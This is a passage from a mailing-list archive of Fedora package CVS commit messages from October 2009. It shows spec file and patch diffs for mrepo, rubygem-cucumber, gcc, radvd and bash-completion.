 * Wed Dec 13 2006 Dag Wieers <dag at wieers.com> - 0.8.4-1



From jussilehtola at fedoraproject.org  Sun Oct 18 19:31:00 2009
From: jussilehtola at fedoraproject.org (Jussi Lehtola)
Date: Sun, 18 Oct 2009 19:31:00 +0000 (UTC)
Subject: rpms/mrepo/F-10 mrepo.spec,1.3,1.4
Message-ID: <20091018193100.9549F11C029A@cvs1.fedora.phx.redhat.com>

Author: jussilehtola

Update of /cvs/pkgs/rpms/mrepo/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22857/F-10

Modified Files:
	mrepo.spec 
Log Message:
Generalize Requires: httpd -> Requires: webserver. (BZ #529421)


Index: mrepo.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mrepo/F-10/mrepo.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- mrepo.spec	12 Jul 2009 21:46:12 -0000	1.3
+++ mrepo.spec	18 Oct 2009 19:31:00 -0000	1.4
@@ -1,6 +1,6 @@
 Name:		mrepo
 Version:	0.8.6
-Release:	3%{?dist}
+Release:	5%{?dist}
 Summary:	A tool to set up a yum/apt mirror from various sources
 License:	GPLv2
 Group:		System Environment/Base
@@ -16,9 +16,9 @@ BuildRequires:	python-devel
 # Needed for operation
 Requires:	createrepo
 ## For dir ownership
-# vixie-cron in older distros, cronie in newer ones; filelist always available
+# vixie-cron in older distros, cronie in newer ones; filelist of sbindir is always available
 Requires:	%{_sbindir}/crond
-Requires:	httpd
+Requires:	webserver
 Requires:	logrotate
 
 # For services
@@ -124,16 +124,22 @@ rm -rf %{buildroot}
 %{_localstatedir}/mrepo/
 
 %changelog
+* Sun Oct 18 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 0.8.6-5
+- Generalize webserver requirement.
+
+* Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.8.6-4
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Sun Jul 12 2009 Sandro Mathys <red at fedoraproject.org> - 0.8.6-3
 - Changed the usage of macros to get the spec file to work in EL, too.
 
-* Sun Jul 12 2009 Jussi Lehtola <jussi.lehtola at iki.fi> - 0.8.6-2
+* Sun Jul 12 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 0.8.6-2
 - Review fixes.
 
-* Sun Jul 12 2009 Jussi Lehtola <jussi.lehtola at iki.fi> - 0.8.6-1
+* Sun Jul 12 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 0.8.6-1
 - Update to 0.8.6.
 
-* Wed May 20 2009 Jussi Lehtola <jussi.lehtola at iki.fi> - 0.8.4-2
+* Wed May 20 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 0.8.4-2
 - Spec modifications for inclusion into Fedora.
 
 * Wed Dec 13 2006 Dag Wieers <dag at wieers.com> - 0.8.4-1



From jussilehtola at fedoraproject.org  Sun Oct 18 19:31:01 2009
From: jussilehtola at fedoraproject.org (Jussi Lehtola)
Date: Sun, 18 Oct 2009 19:31:01 +0000 (UTC)
Subject: rpms/mrepo/F-12 mrepo.spec,1.4,1.5
Message-ID: <20091018193101.0237611C029A@cvs1.fedora.phx.redhat.com>

Author: jussilehtola

Update of /cvs/pkgs/rpms/mrepo/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22857/F-12

Modified Files:
	mrepo.spec 
Log Message:
Generalize Requires: httpd -> Requires: webserver. (BZ #529421)


Index: mrepo.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mrepo/F-12/mrepo.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- mrepo.spec	25 Jul 2009 15:14:43 -0000	1.4
+++ mrepo.spec	18 Oct 2009 19:31:00 -0000	1.5
@@ -1,6 +1,6 @@
 Name:		mrepo
 Version:	0.8.6
-Release:	4%{?dist}
+Release:	5%{?dist}
 Summary:	A tool to set up a yum/apt mirror from various sources
 License:	GPLv2
 Group:		System Environment/Base
@@ -16,9 +16,9 @@ BuildRequires:	python-devel
 # Needed for operation
 Requires:	createrepo
 ## For dir ownership
-# vixie-cron in older distros, cronie in newer ones; filelist always available
+# vixie-cron in older distros, cronie in newer ones; filelist of sbindir is always available
 Requires:	%{_sbindir}/crond
-Requires:	httpd
+Requires:	webserver
 Requires:	logrotate
 
 # For services
@@ -124,19 +124,22 @@ rm -rf %{buildroot}
 %{_localstatedir}/mrepo/
 
 %changelog
+* Sun Oct 18 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 0.8.6-5
+- Generalize webserver requirement.
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.8.6-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 
 * Sun Jul 12 2009 Sandro Mathys <red at fedoraproject.org> - 0.8.6-3
 - Changed the usage of macros to get the spec file to work in EL, too.
 
-* Sun Jul 12 2009 Jussi Lehtola <jussi.lehtola at iki.fi> - 0.8.6-2
+* Sun Jul 12 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 0.8.6-2
 - Review fixes.
 
-* Sun Jul 12 2009 Jussi Lehtola <jussi.lehtola at iki.fi> - 0.8.6-1
+* Sun Jul 12 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 0.8.6-1
 - Update to 0.8.6.
 
-* Wed May 20 2009 Jussi Lehtola <jussi.lehtola at iki.fi> - 0.8.4-2
+* Wed May 20 2009 Jussi Lehtola <jussilehtola at fedoraproject.org> - 0.8.4-2
 - Spec modifications for inclusion into Fedora.
 
 * Wed Dec 13 2006 Dag Wieers <dag at wieers.com> - 0.8.4-1



From lkundrak at fedoraproject.org  Sun Oct 18 19:32:12 2009
From: lkundrak at fedoraproject.org (Lubomir Rintel)
Date: Sun, 18 Oct 2009 19:32:12 +0000 (UTC)
Subject: rpms/rubygem-cucumber/devel import.log, NONE,
	1.1 rubygem-cucumber.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091018193212.3E08111C00E8@cvs1.fedora.phx.redhat.com>

Author: lkundrak

Update of /cvs/pkgs/rpms/rubygem-cucumber/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8399/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log rubygem-cucumber.spec 
Log Message:
Initial import



--- NEW FILE import.log ---
rubygem-cucumber-0_4_0-1_fc11:HEAD:rubygem-cucumber-0.4.0-1.fc11.src.rpm:1255890590


--- NEW FILE rubygem-cucumber.spec ---
%global ruby_sitelib %(ruby -rrbconfig -e "puts Config::CONFIG['sitelibdir']")
%global gemdir %(ruby -rubygems -e 'puts Gem::dir' 2>/dev/null)
%global gemname cucumber
%global geminstdir %{gemdir}/gems/%{gemname}-%{version}

Summary:        Tool to execute plain-text documents as functional tests
Name:           rubygem-%{gemname}
Version:        0.4.0
Release:        1%{?dist}
Group:          Development/Languages
License:        MIT
URL:            http://cukes.info
Source0:        http://gems.rubyforge.org/gems/%{gemname}-%{version}.gem
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
Requires:       ruby(abi) = 1.8
Requires:       rubygems
Requires:       rubygem(term-ansicolor) >= 1.0.3
Requires:       rubygem(treetop) >= 1.2.5
Requires:       rubygem(polyglot) >= 0.2.5
Requires:       rubygem(diff-lcs) >= 1.1.2
Requires:       rubygem(builder) >= 2.1.2
BuildRequires:  rubygems
BuildArch:      noarch
Provides:       rubygem(%{gemname}) = %{version}

%description
Cucumber lets software development teams describe how software should behave
in plain text. The text is written in a business-readable domain-specific
language and serves as documentation, automated tests and development-aid.


%prep


%build


%install
rm -rf $RPM_BUILD_ROOT
mkdir -p $RPM_BUILD_ROOT%{gemdir}
gem install --local --install-dir $RPM_BUILD_ROOT%{gemdir} \
        --force --rdoc %{SOURCE0}
mkdir -p $RPM_BUILD_ROOT/%{_bindir}
mv $RPM_BUILD_ROOT%{gemdir}/bin/* $RPM_BUILD_ROOT/%{_bindir}
rmdir $RPM_BUILD_ROOT%{gemdir}/bin
find $RPM_BUILD_ROOT%{geminstdir}/bin -type f |xargs chmod a+x

# Remove zero-length documentation files
find $RPM_BUILD_ROOT%{gemdir}/doc/%{gemname}-%{version} -empty -delete


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%{_bindir}/cucumber
%dir %{geminstdir}
%{geminstdir}/bin
%{geminstdir}/config
%{geminstdir}/features
%{geminstdir}/gem_tasks
%{geminstdir}/lib
%{geminstdir}/rails_generators
%{geminstdir}/spec
%{geminstdir}/cucumber.yml
%{geminstdir}/Rakefile
%doc %{geminstdir}/examples
%doc %{gemdir}/doc/%{gemname}-%{version}
%doc %{geminstdir}/History.txt
%doc %{geminstdir}/License.txt
%doc %{geminstdir}/Manifest.txt
%doc %{geminstdir}/README.txt
%{gemdir}/cache/%{gemname}-%{version}.gem
%{gemdir}/specifications/%{gemname}-%{version}.gemspec


%changelog
* Mon Oct 12 2009 Lubomir Rintel (Good Data) <lubo.rintel at gooddata.com> - 0.4.0-1
- Newer release

* Fri Jun 26 2009 Lubomir Rintel (Good Data) <lubo.rintel at gooddata.com> - 0.3.10-3
- Get rid of duplicate files (thanks to Mamoru Tasaka)

* Mon Jun 08 2009 Lubomir Rintel (Good Data) <lubo.rintel at gooddata.com> - 0.3.10-2
- Use geminstdir macro where appropriate
- Do not move examples around
- Depend on ruby(abi)
- Replace defines with globals

* Fri Jun 05 2009 Lubomir Rintel (Good Data) <lubo.rintel at gooddata.com> - 0.3.10-1
- Package generated by gem2rpm
- Move examples into documentation
- Remove empty files
- Fix up License


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-cucumber/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	17 Oct 2009 20:49:20 -0000	1.1
+++ .cvsignore	18 Oct 2009 19:32:10 -0000	1.2
@@ -0,0 +1 @@
+cucumber-0.4.0.gem


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/rubygem-cucumber/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	17 Oct 2009 20:49:20 -0000	1.1
+++ sources	18 Oct 2009 19:32:11 -0000	1.2
@@ -0,0 +1 @@
+4ee5e766e67074818fa1c9afe4e10f8e  cucumber-0.4.0.gem



From jakub at fedoraproject.org  Sun Oct 18 19:46:30 2009
From: jakub at fedoraproject.org (Jakub Jelinek)
Date: Sun, 18 Oct 2009 19:46:30 +0000 (UTC)
Subject: rpms/gcc/F-12 gcc44-rh529512.patch, NONE, 1.1 .cvsignore, 1.303,
	1.304 gcc.spec, 1.82, 1.83 sources, 1.307, 1.308
Message-ID: <20091018194630.B298911C00E8@cvs1.fedora.phx.redhat.com>

Author: jakub

Update of /cvs/pkgs/rpms/gcc/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28686

Modified Files:
	.cvsignore gcc.spec sources 
Added Files:
	gcc44-rh529512.patch 
Log Message:
4.4.2-4

gcc44-rh529512.patch:
 cfgexpand.c                    |    3 +++
 testsuite/gcc.dg/debug/vta-3.c |   17 +++++++++++++++++
 2 files changed, 20 insertions(+)

--- NEW FILE gcc44-rh529512.patch ---
2009-10-18  Jakub Jelinek  <jakub at redhat.com>

	* cfgexpand.c (expand_debug_expr): Fail if bitpos < 0 for non-MEM
	op0.

	* gcc.dg/debug/vta-3.c: New test.

--- gcc/cfgexpand.c.jj	2009-10-16 01:45:11.000000000 +0200
+++ gcc/cfgexpand.c	2009-10-18 14:02:25.000000000 +0200
@@ -2593,6 +2593,9 @@ expand_debug_expr (tree exp)
 	if (bitpos == 0 && mode == GET_MODE (op0))
 	  return op0;
 
+        if (bitpos < 0)
+          return NULL;
+
 	if ((bitpos % BITS_PER_UNIT) == 0
 	    && bitsize == GET_MODE_BITSIZE (mode1))
 	  {
--- gcc/testsuite/gcc.dg/debug/vta-3.c.jj	2009-10-18 14:44:12.000000000 +0200
+++ gcc/testsuite/gcc.dg/debug/vta-3.c	2009-10-18 14:44:32.000000000 +0200
@@ -0,0 +1,17 @@
+/* { dg-do compile } */
+
+int
+foo (void)
+{
+  union { char e[8]; int i; } a, b;
+  char *c, *d;
+  unsigned int i;
+  c = a.e;
+  d = &b.e[sizeof (int) - 1];
+  for (i = 0; i < sizeof (int); i++)
+    {
+      *d = *c++;
+      --d;
+    }
+  return b.i;
+}


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gcc/F-12/.cvsignore,v
retrieving revision 1.303
retrieving revision 1.304
diff -u -p -r1.303 -r1.304
--- .cvsignore	17 Oct 2009 22:09:38 -0000	1.303
+++ .cvsignore	18 Oct 2009 19:46:30 -0000	1.304
@@ -1,2 +1,2 @@
 fastjar-0.97.tar.gz
-gcc-4.4.2-20091017.tar.bz2
+gcc-4.4.2-20091018.tar.bz2


Index: gcc.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gcc/F-12/gcc.spec,v
retrieving revision 1.82
retrieving revision 1.83
diff -u -p -r1.82 -r1.83
--- gcc.spec	17 Oct 2009 22:09:38 -0000	1.82
+++ gcc.spec	18 Oct 2009 19:46:30 -0000	1.83
@@ -1,9 +1,9 @@
-%global DATE 20091017
-%global SVNREV 152957
+%global DATE 20091018
+%global SVNREV 152967
 %global gcc_version 4.4.2
 # Note, gcc_release must be integer, if you want to add suffixes to
 # %{release}, append them after %{gcc_release} on Release: line.
-%global gcc_release 3
+%global gcc_release 4
 %global _unpackaged_files_terminate_build 0
 %global multilib_64_archs sparc64 ppc64 s390x x86_64
 %global include_gappletviewer 1
@@ -165,6 +165,7 @@ Patch19: gcc44-ppc64-aixdesc.patch
 Patch20: gcc44-pr40521.patch
 Patch21: gcc44-unwind-leltgegt.patch
 Patch22: gcc44-pr40521-2.patch
+Patch23: gcc44-rh529512.patch
 
 Patch1000: fastjar-0.97-segfault.patch
 
@@ -474,6 +475,7 @@ which are required to compile with the G
 %patch20 -p0 -b .pr40521~
 %patch21 -p0 -b .unwind-leltgegt~
 %patch22 -p0 -b .pr40521-2~
+%patch23 -p0 -b .rh529512~
 
 # This testcase doesn't compile.
 rm libjava/testsuite/libjava.lang/PR35020*
@@ -1855,6 +1857,12 @@ fi
 %doc rpm.doc/changelogs/libmudflap/ChangeLog*
 
 %changelog
+* Sun Oct 18 2009 Jakub Jelinek <jakub at redhat.com> 4.4.2-4
+- update from gcc-4_4-branch
+  - PRs c++/37204, c++/37766, c++/37875, c++/38798, c++/40092,
+	libstdc++/40654, libstdc++/40826
+- fix VTA ICE on invalid pointer arithmetics (#529512)
+
 * Sat Oct 17 2009 Jakub Jelinek <jakub at redhat.com> 4.4.2-3
 - fix VTA handling in the scheduler (PR debug/41535)
 - fix up %%check section to be able to find ecj1


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gcc/F-12/sources,v
retrieving revision 1.307
retrieving revision 1.308
diff -u -p -r1.307 -r1.308
--- sources	17 Oct 2009 22:09:38 -0000	1.307
+++ sources	18 Oct 2009 19:46:30 -0000	1.308
@@ -1,2 +1,2 @@
 2659f09c2e43ef8b7d4406321753f1b2  fastjar-0.97.tar.gz
-b848bfbd9f0a7662dc812e10fb88376d  gcc-4.4.2-20091017.tar.bz2
+ec0efd8c06411b8416255df19f880444  gcc-4.4.2-20091018.tar.bz2



From jskala at fedoraproject.org  Sun Oct 18 20:13:47 2009
From: jskala at fedoraproject.org (Jiri Skala)
Date: Sun, 18 Oct 2009 20:13:47 +0000 (UTC)
Subject: rpms/radvd/devel radvd-1.3-posix.patch, NONE, 1.1 radvd.init, 1.6, 
	1.7 radvd.spec, 1.54, 1.55 radvd-1.1-posix.patch, 1.2, NONE
Message-ID: <20091018201347.D4D9011C00E8@cvs1.fedora.phx.redhat.com>

Author: jskala

Update of /cvs/extras/rpms/radvd/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3099

Modified Files:
	radvd.init radvd.spec 
Added Files:
	radvd-1.3-posix.patch 
Removed Files:
	radvd-1.1-posix.patch 
Log Message:
* Sun Oct 18 2009 Jiri Skala <jskala at redhat.com> - 1.3-3
- fixed #528178 - retval in init script to be posix compliant


radvd-1.3-posix.patch:
 radvd.init |    8 +++++++-
 1 file changed, 7 insertions(+), 1 deletion(-)

--- NEW FILE radvd-1.3-posix.patch ---
diff -up radvd-1.3/redhat/radvd.init.posix radvd-1.3/redhat/radvd.init
--- radvd-1.3/redhat/radvd.init.posix	2009-10-18 22:02:19.343363622 +0200
+++ radvd-1.3/redhat/radvd.init	2009-10-18 22:04:48.794336898 +0200
@@ -47,7 +47,13 @@ case "$1" in
 	daemon radvd $OPTIONS
 	RETVAL=$?
 	echo
-	[ $RETVAL -eq 0 ] && touch $LOCKFILE
+	if [ $RETVAL -eq 0 ]; then
+		touch $LOCKFILE
+	else
+		if [ -f $LOCKFILE ]; then
+			RETVAL=0
+		fi
+	fi
 	;;
   stop)
 	echo -n $"Stopping $PROG: "


Index: radvd.init
===================================================================
RCS file: /cvs/extras/rpms/radvd/devel/radvd.init,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- radvd.init	3 Jun 2009 14:05:27 -0000	1.6
+++ radvd.init	18 Oct 2009 20:13:47 -0000	1.7
@@ -47,7 +47,13 @@ case "$1" in
     daemon radvd $OPTIONS
     RETVAL=$?
     echo
-    [ $RETVAL -eq 0 ] && touch $LOCKFILE
+    if [ $RETVAL -eq 0 ]; then
+        touch $LOCKFILE
+    else
+        if [ -f $LOCKFILE ]; then
+            RETVAL=0
+        fi
+    fi
     ;;
   stop)
     echo -n $"Stopping $PROG: "


Index: radvd.spec
===================================================================
RCS file: /cvs/extras/rpms/radvd/devel/radvd.spec,v
retrieving revision 1.54
retrieving revision 1.55
diff -u -p -r1.54 -r1.55
--- radvd.spec	27 Jul 2009 02:44:51 -0000	1.54
+++ radvd.spec	18 Oct 2009 20:13:47 -0000	1.55
@@ -5,7 +5,7 @@
 Summary:    A Router Advertisement daemon
 Name:       radvd
 Version:    1.3
-Release:    2%{?dist}
+Release:    3%{?dist}
 # The code includes the advertising clause, so it's GPL-incompatible
 License:    BSD with advertising
 Group:      System Environment/Daemons
@@ -17,6 +17,7 @@ Requires(post):     chkconfig
 Requires(pre):      /usr/sbin/useradd
 BuildRequires:      flex, byacc
 BuildRoot:          %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
+Patch1:  radvd-1.3-posix.patch
 
 %description
 radvd is the router advertisement daemon for IPv6.  It listens to router
@@ -32,6 +33,8 @@ services.
 %prep
 %setup -q
 
+%patch1 -p1 -b .posix
+
 %build
 export CFLAGS="$RPM_OPT_FLAGS -D_GNU_SOURCE -fPIE" 
 export LDFLAGS='-pie -Wl,-z,relro,-z,now,-z,noexecstack,-z,nodlopen'
@@ -92,6 +95,9 @@ fi
 %{_sbindir}/radvdump
 
 %changelog
+* Sun Oct 18 2009 Jiri Skala <jskala at redhat.com> - 1.3-3
+- fixed #528178 - retval in init script to be posix compliant
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.3-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


--- radvd-1.1-posix.patch DELETED ---



From jskala at fedoraproject.org  Sun Oct 18 20:43:52 2009
From: jskala at fedoraproject.org (Jiri Skala)
Date: Sun, 18 Oct 2009 20:43:52 +0000 (UTC)
Subject: rpms/radvd/devel radvd-1.3-posix.patch, 1.1, 1.2 radvd.init, 1.7,
	1.8 radvd.spec, 1.55, 1.56
Message-ID: <20091018204352.1D9CE11C00E8@cvs1.fedora.phx.redhat.com>

Author: jskala

Update of /cvs/extras/rpms/radvd/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9139

Modified Files:
	radvd-1.3-posix.patch radvd.init radvd.spec 
Log Message:
* Sun Oct 18 2009 Jiri Skala <jskala at redhat.com> - 1.3-4
- fixed #528178 - added force-reload


radvd-1.3-posix.patch:
 radvd.init |   14 ++++++++++----
 1 file changed, 10 insertions(+), 4 deletions(-)

Index: radvd-1.3-posix.patch
===================================================================
RCS file: /cvs/extras/rpms/radvd/devel/radvd-1.3-posix.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- radvd-1.3-posix.patch	18 Oct 2009 20:13:47 -0000	1.1
+++ radvd-1.3-posix.patch	18 Oct 2009 20:43:51 -0000	1.2
@@ -1,6 +1,6 @@
 diff -up radvd-1.3/redhat/radvd.init.posix radvd-1.3/redhat/radvd.init
---- radvd-1.3/redhat/radvd.init.posix	2009-10-18 22:02:19.343363622 +0200
-+++ radvd-1.3/redhat/radvd.init	2009-10-18 22:04:48.794336898 +0200
+--- radvd-1.3/redhat/radvd.init.posix	2009-05-25 08:17:28.000000000 +0200
++++ radvd-1.3/redhat/radvd.init	2009-10-18 22:41:14.859329142 +0200
 @@ -47,7 +47,13 @@ case "$1" in
  	daemon radvd $OPTIONS
  	RETVAL=$?
@@ -16,3 +16,28 @@ diff -up radvd-1.3/redhat/radvd.init.pos
  	;;
    stop)
  	echo -n $"Stopping $PROG: "
+@@ -65,13 +71,13 @@ case "$1" in
+ 	$0 start
+ 	RETVAL=$?
+ 	;;
+-  reload)
++  reload|force-reload)
+ 	echo -n $"Reloading $PROG: "
+ 	killproc radvd -HUP
+ 	RETVAL=$?	
+ 	echo
+ 	;;
+-  condrestart)
++  condrestart|try-restart)
+         if [ -f $LOCKFILE ]; then
+ 		$0 stop
+ 		$0 start
+@@ -79,7 +85,7 @@ case "$1" in
+ 	fi
+         ;;  
+   *)
+-	echo $"Usage: $0 {start|stop|status|restart|reload|condrestart}"
++	echo $"Usage: $0 {start|stop|status|restart|try-restart|reload|force-reload}"
+ 	exit 2
+ esac
+ 


Index: radvd.init
===================================================================
RCS file: /cvs/extras/rpms/radvd/devel/radvd.init,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- radvd.init	18 Oct 2009 20:13:47 -0000	1.7
+++ radvd.init	18 Oct 2009 20:43:51 -0000	1.8
@@ -71,13 +71,13 @@ case "$1" in
     $0 start
     RETVAL=$?
     ;;
-  reload)
+  reload|force-reload)
     echo -n $"Reloading $PROG: "
     killproc radvd -HUP
     RETVAL=$?	
     echo
     ;;
-  condrestart)
+  condrestart|try-restart)
     if [ -f $LOCKFILE ]; then
       $0 stop
       $0 start
@@ -85,7 +85,7 @@ case "$1" in
     fi
     ;;  
   *)
-    echo $"Usage: $0 {start|stop|status|restart|reload|condrestart}"
+    echo $"Usage: $0 {start|stop|status|restart|try-restart|reload|force-reload}"
     exit 2
 esac
 


Index: radvd.spec
===================================================================
RCS file: /cvs/extras/rpms/radvd/devel/radvd.spec,v
retrieving revision 1.55
retrieving revision 1.56
diff -u -p -r1.55 -r1.56
--- radvd.spec	18 Oct 2009 20:13:47 -0000	1.55
+++ radvd.spec	18 Oct 2009 20:43:51 -0000	1.56
@@ -5,7 +5,7 @@
 Summary:    A Router Advertisement daemon
 Name:       radvd
 Version:    1.3
-Release:    3%{?dist}
+Release:    4%{?dist}
 # The code includes the advertising clause, so it's GPL-incompatible
 License:    BSD with advertising
 Group:      System Environment/Daemons
@@ -95,6 +95,9 @@ fi
 %{_sbindir}/radvdump
 
 %changelog
+* Sun Oct 18 2009 Jiri Skala <jskala at redhat.com> - 1.3-4
+- fixed #528178 - added force-reload
+
 * Sun Oct 18 2009 Jiri Skala <jskala at redhat.com> - 1.3-3
 - fixed #528178 - retval in init script to be posix compliant
 



From scop at fedoraproject.org  Sun Oct 18 21:48:15 2009
From: scop at fedoraproject.org (=?utf-8?q?Ville_Skytt=C3=A4?=)
Date: Sun, 18 Oct 2009 21:48:15 +0000 (UTC)
Subject: rpms/bash-completion/devel bash_completion.sh, NONE, 1.1 .cvsignore,
	1.15, 1.16 bash-completion.spec, 1.42, 1.43 sources, 1.15,
	1.16 bash-completion-1.0-bash4quoting-490322.patch, 1.1,
	NONE bash-completion-mock, 1.7, NONE bash-completion-repomanage,
	1.5, NONE
Message-ID: <20091018214815.E1CC211C00E8@cvs1.fedora.phx.redhat.com>

Author: scop

Update of /cvs/pkgs/rpms/bash-completion/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26794

Modified Files:
	.cvsignore bash-completion.spec sources 
Added Files:
	bash_completion.sh 
Removed Files:
	bash-completion-1.0-bash4quoting-490322.patch 
	bash-completion-mock bash-completion-repomanage 
Log Message:
* Mon Oct 19 2009 Ville Skytt? <ville.skytta at iki.fi> - 1:1.1-1
- Update to 1.1.



--- NEW FILE bash_completion.sh ---
# Check for interactive bash and that we haven't already been sourced.
[ -z "$BASH_VERSION" -o -z "$PS1" -o -n "$BASH_COMPLETION" ] && return

# Check for recent enough version of bash.
bash=${BASH_VERSION%.*}; bmajor=${bash%.*}; bminor=${bash#*.}
if [ $bmajor -eq 2 -a $bminor '>' 04 ] || [ $bmajor -gt 2 ]; then
  if [ -r /etc/bash_completion ]; then
    # Source completion code.
    . /etc/bash_completion
  fi
fi
unset bash bminor bmajor


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/bash-completion/devel/.cvsignore,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- .cvsignore	6 Apr 2009 18:07:53 -0000	1.15
+++ .cvsignore	18 Oct 2009 21:48:15 -0000	1.16
@@ -1 +1,2 @@
-bash-completion-1.0.tar.gz
+bash-completion-1.1.tar.bz2
+CHANGES-1.1


Index: bash-completion.spec
===================================================================
RCS file: /cvs/pkgs/rpms/bash-completion/devel/bash-completion.spec,v
retrieving revision 1.42
retrieving revision 1.43
diff -u -p -r1.42 -r1.43
--- bash-completion.spec	20 Sep 2009 18:44:04 -0000	1.42
+++ bash-completion.spec	18 Oct 2009 21:48:15 -0000	1.43
@@ -1,18 +1,18 @@
 Name:           bash-completion
-Version:        1.0
-Release:        5%{?dist}
+Version:        1.1
+Release:        1%{?dist}
 Epoch:          1
 Summary:        Programmable completion for Bash
 
 Group:          System Environment/Shells
 License:        GPLv2+
 URL:            http://bash-completion.alioth.debian.org/
-Source0:        http://bash-completion.alioth.debian.org/files/%{name}-%{version}.tar.gz
-Source1:        %{name}-mock
-Source2:        %{name}-plague-client
-Source3:        %{name}-repomanage
-# http://git.debian.org/?p=bash-completion/bash-completion.git;a=commitdiff;h=1421e55aac075e13491cd212b796bdd453214a2c
-Patch0:         %{name}-1.0-bash4quoting-490322.patch
+Source0:        http://bash-completion.alioth.debian.org/files/%{name}-%{version}.tar.bz2
+Source1:        %{name}-plague-client
+# Sources 2 and 3 missing from upstream 1.1 tarball.
+Source2:        http://bash-completion.alioth.debian.org/files/CHANGES-1.1
+# http://git.debian.org/?p=bash-completion/bash-completion.git;a=blob_plain;f=bash_completion.sh;h=915960b614ef7644f9abaa99ed9ef0faa7ac5477;hb=HEAD
+Source3:        bash_completion.sh
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildArch:      noarch
@@ -27,11 +27,39 @@ of the programmable completion feature o
 
 %prep
 %setup -q
-%patch0 -p1
-install -pm 644 %{SOURCE1} contrib/mock
-install -pm 644 %{SOURCE2} contrib/plague-client
-install -pm 644 %{SOURCE3} contrib/repomanage
-rm contrib/cowsay # cowsay ships an updated one
+install -pm 644 %{SOURCE1} contrib/plague-client
+install -pm 644 %{SOURCE2} CHANGES
+install -pm 644 %{SOURCE3} bash_completion.sh
+
+# Updated completions shipped upstream:
+rm contrib/cowsay
+# subversion too, but only in >= 1.6.5-2
+# yum planned to be upstreamed soon
+
+# Combine to per-package files:
+( echo ; cat contrib/update-alternatives ) >> contrib/chkconfig
+rm contrib/update-alternatives
+
+# Not applicable to Fedora and derivatives:
+rm contrib/apache2ctl
+rm contrib/apt-build
+rm contrib/aptitude
+rm contrib/cardctl
+rm contrib/dpkg
+rm contrib/dselect
+rm contrib/heimdal
+rm contrib/kldload
+rm contrib/lilo
+rm contrib/links
+rm contrib/pkg_install
+rm contrib/pkgtools
+rm contrib/portupgrade
+rm contrib/reportbug
+rm contrib/sysv-rc
+
+# Not handled due to other reasons (e.g. no known packages) (yet?):
+rm contrib/larch
+rm contrib/p4
 
 
 %build
@@ -39,16 +67,28 @@ rm contrib/cowsay # cowsay ships an upda
 
 %install
 rm -rf $RPM_BUILD_ROOT %{name}-ghosts.list
+
 install -dm 755 $RPM_BUILD_ROOT%{_sysconfdir}/profile.d
 install -pm 644 bash_completion $RPM_BUILD_ROOT%{_sysconfdir}
 install -pm 644 bash_completion.sh $RPM_BUILD_ROOT%{_sysconfdir}/profile.d
+
 install -dm 755 $RPM_BUILD_ROOT%{_datadir}/%{name}
 install -pm 644 contrib/* $RPM_BUILD_ROOT%{_datadir}/%{name}
+
 install -dm 755 $RPM_BUILD_ROOT%{_sysconfdir}/bash_completion.d
-cd contrib
+
+# Always installed (not triggered) completions for practically always
+# installed packages or non-triggerable common ones:
+for f in bash-builtins configure dd getent iconv rpm ; do
+    mv $RPM_BUILD_ROOT{%{_datadir}/%{name}/$f,%{_sysconfdir}/bash_completion.d}
+done
+
+d=$(pwd)
+# ghost list
+cd $RPM_BUILD_ROOT%{_datadir}/%{name}
 for f in * ; do
-  ln -s %{_datadir}/%{name}/$f $RPM_BUILD_ROOT%{_sysconfdir}/bash_completion.d
-  echo "%ghost %{_sysconfdir}/bash_completion.d/$f" >> ../%{name}-ghosts.list
